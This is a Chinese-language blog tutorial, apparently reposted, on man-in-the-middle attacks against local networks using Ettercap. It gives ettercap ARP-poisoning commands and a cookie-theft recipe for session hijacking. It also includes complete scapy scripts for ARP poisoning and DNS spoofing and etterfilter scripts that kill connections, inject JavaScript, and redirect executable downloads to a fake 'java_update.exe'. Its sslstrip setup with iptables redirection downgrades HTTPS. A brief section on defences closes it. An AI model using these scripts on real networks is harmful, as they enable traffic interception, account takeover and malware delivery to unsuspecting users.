中間人攻擊之ettercap嗅探

中間人攻擊:javascript

       中間人攻擊(Man-in-the-MiddleAttack,簡稱「MITM攻擊」)是一種「間接」的入侵攻擊,這種攻擊模式是經過各類技術手段將受入侵者控制的一臺計算機虛擬放置在網絡鏈接中的兩臺通訊計算機之間,這臺計算機就稱爲「中間人」。html

Ettercap簡介:java

         Ettercap is a comprehensive suite for man in the middle attacks. It features sniffing of live connections, content filtering on the fly and many other interesting tricks. It supports active and passive dissection of many protocols and includes many features for network and host analysis. ps:摘自Ettercap官網主頁,我就不廢話了,是款十分NB的神器。。。在最新的SecTools.Org的Top 125 Network Security Tools排行榜中,Ettercap排行第16位。python

         項目官網:http://ettercap.github.io/ettercap/index.htmlgit

    Github地址:https://github.com/Ettercapgithub

   今天要將的主要是基於Ettercap的中間人攻擊,在它的選項欄裏有四種:ARP緩存投毒,ICMP重定向,端口監聽,DHCP欺騙。在這裏要介紹一下ARP欺騙、DNS欺騙、會話劫持、密碼嗅探以及SSL加密的密碼嗅探。其實Ettercap的功能是很強大的,從它的插件就能夠看到功能有:發現可疑ARP活動、ARP響應、DNS欺騙、Dos攻擊、發現鏈接(交換環境)、發現Ettercap活動、列出子網未使用的IP、隔離主機、MAC泛洪、ssltrip等。web

 

 0x01 ARP欺騙與DNS欺騙瀏覽器

  中間人攻擊常見的兩種方法:ARP欺騙、DNS欺騙。緩存

  ARP欺騙: 在實現TCP/IP協議的網絡環境下,一個ip包走到哪裏,要怎麼走是靠路由表定義,可是,當ip包到達該網絡後,哪臺機器響應這個ip包倒是靠該ip包中所包含的硬件mac地址來識別。也就是說,只有機器的硬件mac地址和該ip包中的硬件mac地址相同的機器纔會應答這個ip包,由於在網絡中,每一臺主機都會有發送ip包的時候,因此,在每臺主機的內存中,都有一個 arp--> 硬件mac 的轉換表。一般是動態的轉換表(該arp表能夠手工添加靜態條目)。也就是說,該對應表會被主機在必定的時間間隔後刷新。這個時間間隔就是ARP高速緩存的超時時間。一般主機在發送一個ip包以前,它要到該轉換表中尋找和ip包對應的硬件mac地址,若是沒有找到,該主機就發送一個ARP廣播包,因而,主機刷新本身的ARP緩存。而後發出該ip包。在此推薦FB上的一篇文章: 中間人攻擊-ARP毒化服務器

  DNS欺騙: 目標將其DNS請求發送到攻擊者這裏,而後攻擊者僞造DNS響應,將正確的IP地址替換爲其餘IP,以後你就登錄了這個攻擊者指定的IP,而攻擊者早就在這個IP中安排好了一個僞造的網站如某銀行網站,從而騙取用戶輸入他們想獲得的信息,如銀行帳號及密碼等,這能夠看做一種網絡釣魚攻擊的一種方式。對於我的用戶來講,要防範DNS劫持應該注意不點擊不明的鏈接、不去來歷不明的網站、不要在小網站進行網上交易,最重要的一點是記清你想去網站的域名,固然,你還能夠把你常去的一些涉及到機密信息提交的網站的IP地址記下來,須要時直接輸入IP地址登陸。在此還推薦FB上的一篇文章: 中間人攻擊-DNS欺騙

0x02 中間人攻擊

  在大多數正常的網絡環境下,要想得到局域網內其餘主機的流量,使用ARP欺騙是很好的方式,除非是本身搭建的網絡環境。基於ARP欺騙的中間人攻擊是一種很常見的手段。下面以Ettercap的使用爲例,來進行展現。

  首先介紹一下Ettercap的使用方法,英文比較簡單,這裏就不翻譯了,直接列出它的幫助說明:

Usage: ettercap [OPTIONS] [TARGET1] [TARGET2] TARGET is in the format MAC/IP/PORTs (see the man for further detail) Sniffing and Attack options: -M, --mitm <METHOD:ARGS> perform a mitm attack -o, --only-mitm             don't sniff, only perform the mitm attack
  -b, --broadcast sniff packets destined to broadcast -B, --bridge <IFACE>        use bridged sniff (needs 2 ifaces) -p, --nopromisc             do not put the iface in promisc mode -S, --nosslmitm             do not forge SSL certificates -u, --unoffensive           do not forward packets -r, --read <file>           read data from pcapfile <file>
  -f, --pcapfilter <string>   set the pcap filter <string>
  -R, --reversed use reversed TARGET matching -t, --proto <proto>         sniff only this proto (default is all) --certificate <file>    certificate file to use for SSL MiTM --private-key <file>    private key file to use for SSL MiTM User Interface Type: -T, --text use text only GUI -q, --quiet                 do not display packet contents -s, --script <CMD> issue these commands to the GUI -C, --curses use curses GUI -D, --daemon daemonize ettercap (no GUI) -G, --gtk                   use GTK+ GUI Logging options: -w, --write <file>          write sniffed data to pcapfile <file>
  -L, --log <logfile>         log all the traffic to this <logfile>
  -l, --log-info <logfile>    log only passive infos to this <logfile>
  -m, --log-msg <logfile>     log all the messages to this <logfile>
  -c, --compress use gzip compression on log files Visualization options: -d, --dns resolves ip addresses into hostnames -V, --visual <format>       set the visualization format -e, --regex <regex>         visualize only packets matching this regex -E, --ext-headers           print extended header for every pck -Q, --superquiet            do not display user and password General options: -i, --iface <iface>         use this network interface
  -I, --liface show all the network interfaces -Y, --secondary <ifaces> list of secondary network interfaces -n, --netmask <netmask>     force this <netmask> on iface -A, --address <address>     force this local <address> on iface -P, --plugin <plugin>       launch this <plugin>
  -F, --filter <file>         load the filter <file> (content filter) -z, --silent                do not perform the initial ARP scan -j, --load-hosts <file>     load the hosts list from <file>
  -k, --save-hosts <file>     save the hosts list to <file>
  -W, --wifi-key <wkey>       use this key to decrypt wifi packets (wep or wpa) -a, --config <config>       use the alterative config file <config> Standard options: -v, --version prints the version and exit -h, --help 

  ARP欺騙之會話劫持:

ettercap -i eth0 -T -M arp:remote /10.0.0.1/ // 欺騙局域網內全部主機
ettercap -i eth0 -T -M arp:remote /10.0.0.1/ /10.0.0.12/ 欺騙IP爲10.0.0.12的主機

  

  同時使用tcpdump抓包(固然也可使用wireshark實時抓包並顯示,但對本機壓力比較大,建議使用tcpdump抓包,完成後再用wireshark顯示):

tcpdump -i eth0

  

  通過一段時間的抓包以後就能夠中止了。打開wireshark分析捕獲到的數據包分析,使用過濾語法,找出含有cookies的數據包:

    

  複製出cookies的值,並在瀏覽器中利用,這裏推薦一款好用的cooikes利用工具cookie-injecting-tools(地址:https://github.com/lfzark/cookie-injecting-tools)。利用成功後,刷新頁面,就能夠進入到被人的主頁和網盤了:

    

  DNS欺騙:

  使用ettercap進行的DNS欺騙是使用了它的一個插件,同時結合ARP欺騙,就能夠達到很好的欺騙效果。這裏再也不重複介紹了。重點是下面使用python實現的ARP欺騙和DNS欺騙:

#!/usr/bin/python
# arp-poisoning import sys from scapy.all import sniff, sendp, ARP, Ether if len(sys.argv) < 2: print sys.argv[0] + " <iface>" sys.exit(0)
def arp_poison_callback(packet): # Got ARP request? if packet[ARP].op == 1: answer = Ether(dst=packet[ARP].hwsrc) / ARP() answer[ARP].op = "is-at" answer[ARP].hwdst = packet[ARP].hwsrc answer[ARP].psrc = packet[ARP].pdst answer[ARP].pdst = packet[ARP].psrc print "Fooling " + packet[ARP].psrc + " that " + \ packet[ARP].pdst + " is me" sendp(answer, iface=sys.argv[1]) sniff(prn=arp_poison_callback, filter="arp", iface=sys.argv[1], store=0)

 

#!/usr/bin/env python
# dns-spoofing
#
# A simple DNS spoofing script
# It's batter with ARP-Spoofing
# and delete the local hosts file
# at same time.
# The hosts-file like this:
# 123.12.23.121 www.google.com
#

import sys
import getopt
import scapy.all as scapy

dev = "eth0"
filter = "udp port 53"
file = None
dns_map = {}

def handle_packet(packet):
    ip = packet.getlayer(scapy.IP)
    udp = packet.getlayer(scapy.UDP)
    dns = packet.getlayer(scapy.DNS)

    # standard (a record) dns query
    if dns.qr == 0 and dns.opcode == 0:
        queried_host = dns.qd.qname[:-1]
        resolved_ip = None

        if dns_map.get(queried_host):
            resolved_ip = dns_map.get(queried_host)
        elif dns_map.get('*'):
            resolved_ip = dns_map.get('*')
        
        if resolved_ip:
            dns_answer = scapy.DNSRR(rrname=queried_host + '.',
                                     ttl = 330,
                                     type="A",
                                     rclass="IN",
                                     rdata=resolved_ip)
            dns_reply = scapy.IP(src=ip.dst, dst=ip.src) / \
                    scapy.UDP(sport=udp.dport,dport=udp.sport) / \
                    scapy.DNS(
                        id = dns.id,
                        qr = 1,
                        aa = 0,
                        rcode = 0,
                        qd = dns.qd,
                        an = dns_answer
                    )
            print "Send %s has %s to %s" % (queried_host,resolved_ip,ip.src)
            scapy.send(dns_reply, iface=dev)

def usage():
    print sys.argv[0] + ' -f <hosts-file>  -i <dev>'
    sys.exit(1)

def parse_host_file(file):
    for line in open(file):
        line  = line.rstrip('\n')

        if line:
            (ip, host) = line.split()
            dns_map[host] = ip
try:
    cmd_opts = 'f:i:'
    opts, args = getopt.getopt(sys.argv[1:], cmd_opts)
except getopt.GetoptError:
    usage()

for opt in opts:
    if opt[0] == '-i':
        dev = opt[1]
    elif opt[0] == '-f':
        file = opt[1]
    else:
        usage()

if file:
    parse_host_file(file)
else:
    usage()

print "Spoofing DNS requests on %s" % dev
scapy.sniff(iface=dev, filter=filter, prn=handle_packet)
  上面的兩個腳本的核心之處是使用了scapy(http://www.secdev.org/projects/scapy/doc/usage.html#starting-scapy)這個網絡庫,其功能十分的強大,使用簡介,基本只需幾行代碼就能夠進行特定的攻擊,有時間要好好研究研究。

  Ettercap的包過濾:

  Ettercap的包過濾是一個比較好玩的功能了。再結合一點釣魚技術的話,危害就比較大了。下面簡單介紹幾種過濾實例:

  Ettercap目錄下也自帶了一些過濾規則:

  

  在該目錄下的etter.filter.examples文件裏寫了一些經常使用的過濾腳本:

  

  固然,更多使用說明能夠查看一下man 手冊: man etterfilter.裏面對全部的過濾使用的函數都有詳細的說明.下面舉例:

  (1)  kill掉某一主機:

  當你在心致勃勃地看片的時候,後面幾個2b正在猛LOL,搞得看片跟看PPT同樣,這個時候你是否是很不爽?是否是想揍他們一頓?好吧.我只想作一個安靜的美男子,是時候kill他們了. 使用的過濾腳本爲etter.filter.kill,以下:

 if (ip.src == '10.0.0.16') { # sent the RST to both source and dest kill(); # don't even forward the packet
 drop(); msg("HaHa! a 2b(ip:10.0.0.16) has killed...\n"); }

  編譯成ettercap能夠識別的二進制的二進制文件:

  

  使用ettercap加載此腳本(-q 安靜模式,即不顯示數據包信息):

  

  能夠看到執行的效果:

  

  (2) 替換網頁的圖片:

  貌似上面的惡搞還不爽,那就把他瀏覽網頁時的圖片換掉試試,使用的腳本是etter.filter.images,以下:

if (ip.proto == TCP && tcp.dst == 80) { if (search(DATA.data, "Accept-Encoding")) { replace("Accept-Encoding", "Accept-Rubbish!"); # note: replacement string is same length as original string msg("zapped Accept-Encoding!\n"); } } if (ip.proto == TCP && tcp.src == 80) { replace("img src=", "img src=\"http://www.iyi8.com/uploadfile/2014/0921/20140921113722651.jpg\" "); replace("IMG SRC=", "img src=\"http://www.iyi8.com/uploadfile/2014/0921/20140921113722651.jpg\" "); msg("Filter Ran.\n"); }

  (3) JavaSproit注入:

  技術有限,這裏就簡單的彈個窗吧 :( 使用的腳本是etter.filter.alert:

if (ip.proto == TCP && tcp.dst == 80) { if (search(DATA.data, "Accept-Encoding")) { replace("Accept-Encoding", "Accept-Rubbish!"); msg("zapped Accept-Encoding!\n"); } } if (ip.proto == TCP && tcp.src == 80) { if (search(DATA.data, "<body>")) { replace("<head>","<head><script type="text/javascript">alert('just for a test!');</script>"); replace("<HEAD>","<HEAD><script type="text/javascript">alert('just for a test');</script>"); msg("Filter run!...Exploit code injected ok!\n"); } }

 (4)替換URL

 15 # replace rmccurdy with your website 16 # replace the url with what ever exe you like 17 
 18 if (ip.proto == TCP && tcp.dst == 80) { 19    if (search(DATA.data, "Accept-Encoding")) { 20       replace("Accept-Encoding", "Accept-Rubbish!"); 21       # note: replacement string is same length as original string
 22       msg("zapped Accept-Encoding!n"); 23 } 24 } 25 if (ip.proto == TCP && tcp.src == 80) { 26    replace("keep-alive", "close" ");
 27    replace("Keep-Alive", "close" ");
 28 } 29 
 30 if (ip.proto == TCP && search(DATA.data, ": application") ){ 31    # enable for logging log(DECODED.data, "/tmp/log.log"); 32    msg("found EXEn"); 33    # "Win32" is the first part of the exe example: 34    # if the EXE started with "this program must be run in MSDOS mode" you could search for MSDOS etc .. 35    if (search(DATA.data, "Win32")) { 36       msg("doing nothingn"); 37    } else { 38       replace("200 OK", "301 Moved Permanently Location: http://127.0.0.1/java_update.exe "); 39       msg("redirect successn"); 40 } 41 }  

0x03 SSL密碼嗅探

  對SSL流量的嗅探,可使用sslstrip這個工具,它的原理就是把全部的https流量降級爲http流量。至關於一箇中間人的角色,它與服務器創建正常的https廉潔,而與瀏覽器則使用http鏈接。使用時須要本機開啓流量轉發,將80端口的http流量同時轉發到10000端口上,在10000端口上使用sslstrip來監聽便可:

# echo 1 > /proc/sys/net/ipv4/ip_forward 
# iptables -t nat -A PREROUTING -p tcp --destination-port 80 -j REDIRECT --to-ports 10000
# sslstrip -l 10000

 

0X04 防範MITM攻擊的經常使用方法

1. 將一些機密信息進行加密後再傳輸,這樣即便被「中間人」截取也難以破解。
2. 經過設備或IP異常檢測。如用戶之前從未使用某個設備或IP訪問系統。
3. 經過設備或IP頻率檢測:如單一的設備或IP同時訪問大量的用戶賬號。

3. 進行帶外認證,具體過程是:系統進行實時的自動電話回叫,將二次PIN碼發送至SMS(短信網關),短信網關再轉發給用戶,用戶收到後,再將二次PIN碼發送到短信網關,以確認是不是真的用戶。

相關文章
相關標籤/搜索